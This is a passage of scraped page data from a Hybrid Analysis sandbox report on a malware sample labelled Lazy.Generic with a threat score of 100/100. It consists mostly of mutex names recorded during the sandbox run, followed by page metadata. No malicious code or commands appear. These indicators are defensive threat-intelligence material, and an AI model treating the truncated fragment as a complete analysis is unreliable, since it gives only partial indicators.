Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"SM0:7388:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"Local\\SM0:7388:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"Local\\SM0:7388:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"Local\\SM0:5944:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"SM0:5944:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"SM0:5944:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5944:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5944:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5944:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"\\BaseNamedObjects\\a3d27cfa-1e7a-4ff8-8004-2be13417b6b1cffffffff","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:3708:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:3708:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\A068533DBF09758809014","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:3708:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"Local\\SM0:3708:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"Local\\SM0:3708:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"A068533DBF09758809014","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"SM0:3708:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"SM0:3708:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:3708:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:4300:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4300:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"Local\\SM0:4300:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"SM0:4300:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:1948:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:1948:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:1948:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"Local\\SM0:1948:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"Local\\SM0:1948:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"SM0:1948:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"SM0:1948:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:1948:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:1264:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:1264:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"Local\\SM0:1264:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"SM0:1264:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\RstrMgr3887CAB8-533F-4C85-B0DC-3E5639F8D511","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\RstrMgr-3887CAB8-533F-4C85-B0DC-3E5639F8D511-Session0000","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4708:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:4708:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4708:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"RstrMgr-3887CAB8-533F-4C85-B0DC-3E5639F8D511-Session0000","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"Local\\SM0:4708:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"SM0:4708:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"Local\\SM0:4708:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"RstrMgr3887CAB8-533F-4C85-B0DC-3E5639F8D511","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:740:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:740:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"SM0:740:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"Local\\SM0:740:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5952:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5952:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5952:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"Local\\SM0:5952:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"Local\\SM0:5952:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"SM0:5952:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"SM0:5952:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5952:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:2216:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:2216:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"SM0:2216:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"Local\\SM0:2216:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7860:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7860:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7860:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"Local\\SM0:7860:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"Local\\SM0:7860:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"SM0:7860:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:3564:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:3564:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"Local\\SM0:3564:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"SM0:3564:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5220:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5220:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"SM0:5220:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"Local\\SM0:5220:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7492:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"Local\\SM0:7492:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"\\BaseNamedObjects\\yNBNTDXzfbGygJfKkCIxw77z3GJapARqtu8YWMF","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:316:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:4584:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4584:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"SM0:4584:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"Local\\SM0:4584:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:1696:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:1696:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:1696:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"Local\\SM0:1696:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"Local\\SM0:1696:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"SM0:1696:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:3064:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:3064:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"SM0:3064:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"Local\\SM0:3064:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6276:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6276:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"SM0:6276:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"Local\\SM0:6276:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7368:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"DimGreyYellowGreen","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\DimGreyYellowGreen","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]}]}},"report_ids":{"sandbox_job_ids":["697954f55c56059a1d0432c2"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious Lazy.Generic Sample a10e2a453eaf… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample a10e2a453eaf…. Malware family: Lazy.Generic. Threat score 100/100. 13/27 AV engines flagged this file. 26 malicious and 21 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/a10e2a453eaf617ffed2ec5a5f33248a56bf81426a04a199fa468083ab5f5e34"}],["$","meta","4",{"property":"og:title","content":"Malicious Lazy.Generic Sample a10e2a453eaf… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample a10e2a453eaf…. Malware family: Lazy.Generic. Threat score 100/100. 13/27 AV engines flagged this file. 26 malicious and 21 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/a10e2a453eaf617ffed2ec5a5f33248a56bf81426a04a199fa468083ab5f5e34"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Lazy.Generic Sample a10e2a453eaf… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample a10e2a453eaf…. Malware family: Lazy.Generic. Threat score 100/100. 13/27 AV engines flagged this file. 26 malicious and 21 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$Lcb","11",{}]]